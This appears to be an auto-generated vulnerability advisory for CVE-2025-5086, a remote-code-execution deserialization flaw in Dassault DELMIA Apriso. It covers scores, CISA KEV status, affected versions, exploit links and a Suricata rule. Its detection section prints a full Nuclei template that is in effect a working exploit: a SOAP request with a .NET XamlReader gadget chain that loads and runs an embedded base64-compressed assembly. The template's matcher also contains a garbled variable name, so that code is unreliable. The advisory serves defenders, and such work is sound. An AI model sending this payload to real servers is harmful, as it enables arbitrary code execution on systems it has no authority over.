CVE-2025-5086: Dassault Systèmes exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.

Description quoted from the CVE record (assigned by 3DS, published 2025-06-02).

Weakness: CWE-502 Deserialization of Untrusted Data

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since: 2025-09-11
US federal deadline: 2025-10-02
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-06367, CNNVD-202506-126, EUVD-2025-16682, GHSA-7c63-xmgg-xrx5

VEDAS cluster: VEDAS:DRAKEDASH

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-5086.yaml
Code repository: https://github.com/sacx-7/cve-2025-50866
Code repository: https://github.com/sacx-7/cve-2025-50867
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-5086.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2025/CVE-2025-5086.yaml
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-5086.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-5086.rules
Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2025/CVE-2025-5086.rules

Research and write-ups (1)

Research or write-up: https://isc.sans.edu/diary/Exploit+Attempts+for+Dassault+DELMIA+Apriso+CVE20255086/32256

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-16682
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-7c63-xmgg-xrx5
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-5086
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-5086
Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202506-126

News (1)

News: https://thehackernews.com/2025/09/critical-cve-2025-5086-in-delmia-apriso.html

31 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.970
very likely to be attacked soon
VEDAS: 0.987
strong exploit evidence
On CISA KEV: Yes, since 2025-09-11
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 25 days before CISA confirmed attacks.

Who is affected

Product	Affected	Not affected
Dassault Systèmes DELMIA Apriso	from Release 2020 Golden up to and including Release 2020 SP4 from Release 2021 Golden up to and including Release 2021 SP3 from Release 2022 Golden up to and including Release 2022 SP3 from Release 2023 Golden up to and including Release 2023 SP3 from Release 2024 Golden up to and including Release 2024 SP1 from Release 2025 Golden up to and including Release 2025 SP1	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: 3ds delmia_apriso, dassault_systmes delmia_apriso.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

DELMIA Apriso - Insecure Deserialization
A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release 2025 could lead to a remote code execution.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2025-5086.yaml

Show the template (105 lines)

yaml

id: CVE-2025-5086

info:
  name: "DELMIA Apriso - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A deserialization of untrusted data vulnerability affecting DELMIA Apriso from Release 2020 through Release
    2025 could lead to a remote code execution.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-5086&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2025-5086
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2025,delmia,apriso,serialization,rce,kev,vkev,vuln
http:
  - raw:
      - |-
        POST /apriso/WebServices/FlexNetOperationsService.svc/Invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: "http://tempuri.org/IFlexNetOperationsService/Invoke"

        <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
          <s:Body>
            <Invoke xmlns="http://tempuri.org/">
        <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/"><Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count><Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns=""><_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System"><Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns=""><a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly><a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/><a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName><a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry><a:methodName z:Id="11">Parse</a:methodName><a:target i:nil="true"/><a:targetTypeAssembly z:Id="12">PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</a:targetTypeAssembly><a:targetTypeName z:Id="13">System.Windows.Markup.XamlReader</a:targetTypeName><a:type z:Id="14">System.Func`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate><method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/><Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature><Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Object Parse(System.String)</Signature2><MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0><method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection"><Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/><Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature><Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2><MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1></_comparison></Comparer><Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version><Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns=""><string z:Id="25" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><string z:Id="26" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">&lt;ResourceDictionary&#xD;
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"&#xD;
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"&#xD;
        xmlns:s="clr-namespace:System;assembly=mscorlib"&#xD;
        xmlns:r="clr-namespace:System.Reflection;assembly=mscorlib"&#xD;
        xmlns:i="clr-namespace:System.IO;assembly=mscorlib"&#xD;
        xmlns:c="clr-namespace:System.IO.Compression;assembly=System"&#xD;
        &gt;&#xD;
           &lt;s:Array x:Key="data" x:FactoryMethod="s:Convert.FromBase64String"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;s:String&gt;H4sIAAAAAAAEAO1WzW8bVRD/reO0jtNYSQulEVXZ1ClK+Vg5jYNKhUgaO61D86U4dStUKVmvX5Ot1rur3efEyQEqIapy41AhcUAcuPRQQQ+VqCohITj1EIkDXDj1D0DiwAUQIsx7u/6IY9RcUCWUcXbezLyZN795n5l592N0AIjSt70NPERA43g63aQv8dKjBB50bQ08VKa3BhZXTV91PWfF08uqodu2w9UiU72KrZq2mp3Lq2WnxLSenvhgOMb8JDCtdOD70bHV2rhPEBnoVrqBAwg+ohMiQK0D65VyJMANNFoJKhKIHRj/ULiKv0ZbbyT9kAQuhQXfjbQpchk4tIe52EWEL9akxkjPNekaZ1VO7WA08JV1tuQn87Lm+Z6BEBthlIXGdvqReVzzmOUYIdblcKxDu/wmduEMFyInQzpRpaRXaUMoeyixHX0SGaLo+BDBjDudglFhcY+Gcz2aatc5SOorBCT/zoQSZhEw19JaShtJjQy/KSydsIgfp+7ke8BtageFnOeeaa/4wuNeJJiO5OU8fokEa5q8eHkqS+1fpF8T+oTlFENcZFIuPgd0CeXPUyM4GtRYm3YhH2ySO2RUPER4AKdxkngBbxBfIx7HXXxG/FviCfyBn6WfEnLx68ULshIhz6vCfutYSo7YhxTF9ENoXZIP4AGOE9+i7zR6lJcxjH7lVWjoJknDEZxD9GbrXN9B076Xeftl22w7QvhabQrVUqe3ZpxSxWJv4/q6yaubqWGtZFmYRNk3HM8yi8hv+JyVMVe8wQwOzeCOF9q0hYrNzTLTMk7ZNS3m5Zm3ZhrMR2DQuenYC8zSq1Lyz3Nav2KFM4SBwo26iqZl8o1Gbw1JLc0VVkSOczfj2PLUrDC+lKl4HrO5tC8w36XhmeyoK2FwxrEsAi7ya3mXGaZumZushFm9zAq6VWENBxmfY3qJeT58kqdE4UQD8/Dg4AYYDHBkYcInyaGdwKhnA3jRkPLrOEPreQajJI2SdJZ2ioJPv/rxg+SdL3O3fvvi5KPH332O2Neb1wr96ScfdahQoqqixGL3x5be7/spfo7W6XBfVMXh5wXr71QjSiIRU8Ijf0JspsXI0Sue7s469mTVYK5AvrjqOeu+2H2/JxtLm6jdme2odgFjKeN4Wcua0U07WHTG5BYQtH2K4nv/ZYR9+t+RIhf7WPCK7rCLvZVqYxck3o6r4/SON71f05E08QLyWCI+iQWSpjCHWdKniF8gWdA30V//bvfajIWtuLdan+WszFyATmfvAp1Fi07eFGxcpxMpaFBGLVKvTlaf+nU6tSb12uEI96P3FDFGnuwe9dDRbzPSbemTqv/SKIo5wGuESKn7Z+kTt4EYx92RR5VzFmvyLcj7wm/ySdHt3vjoOkYP+QsMXPrahN2i+dJRJh2EbJ2iOarYJH/xNpSoPzitQxLXNPmtyKgMZXHpdhLIVrAKHmLKyhxzod0Mc9Qw2nvKlZZ1BfdiCRV5L7ZW11rbWRlznjx88izTbFqETn1q3D79h6QG/3+p6WcNZJ+eBf0DwmVsFgAOAAA=&lt;/s:String&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/s:Array&gt;&#xD;
           &lt;i:MemoryStream x:Key="inputStream"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;StaticResource ResourceKey="data"&gt;&lt;/StaticResource&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/i:MemoryStream&gt;&#xD;
           &lt;c:GZipStream x:Key="gzipStream"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                    &lt;StaticResource ResourceKey="inputStream"&gt;&lt;/StaticResource&gt;&#xD;
                    &lt;c:CompressionMode&gt;0&lt;/c:CompressionMode&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/c:GZipStream&gt;&#xD;
           &lt;s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance"&gt;&#xD;
              &lt;x:Arguments&gt;&#xD;
                 &lt;x:Type TypeName="s:Byte"/&gt;&#xD;
                 &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
              &lt;/x:Arguments&gt;&#xD;
           &lt;/s:Array&gt;&#xD;
           &lt;ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read"&gt;&#xD;
              &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                 &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
                 &lt;x:Int32&gt;0&lt;/x:Int32&gt;&#xD;
                 &lt;x:Int32&gt;3584&lt;/x:Int32&gt;&#xD;
              &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
           &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;StaticResource ResourceKey="buf"&gt;&lt;/StaticResource&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters/&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;s:Int32&gt;0&lt;/s:Int32&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
            &lt;ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember"&gt;&#xD;
                &lt;ObjectDataProvider.MethodParameters&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;r:BindingFlags&gt;512&lt;/r:BindingFlags&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                    &lt;x:Null/&gt;&#xD;
                &lt;/ObjectDataProvider.MethodParameters&gt;&#xD;
            &lt;/ObjectDataProvider&gt;&#xD;
        &lt;/ResourceDictionary&gt;</string></Items></ArrayOfstring>
            </Invoke>
          </s:Body>
        </s:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(vimhdnlqu, "cve-2025-5086")'
          - 'contains(content_type, "text/xml")'
          - 'status_code == 500'
        condition: and

CVE-2025-5086.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-5086 DELMIA Apriso - Insecure Deserialization. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-5086 DELMIA Apriso - Insecure Deserialization"; flow:established,to_server; http.uri; content:"FlexNetOperationsService.svc"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-5086; reference:url,https://www.exploit.observer/?keyword=CVE-2025-5086&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact; sid:1008925; rev:1;)

CVE-2025-5086.rules on GitHub

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-5086 (government-resource)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.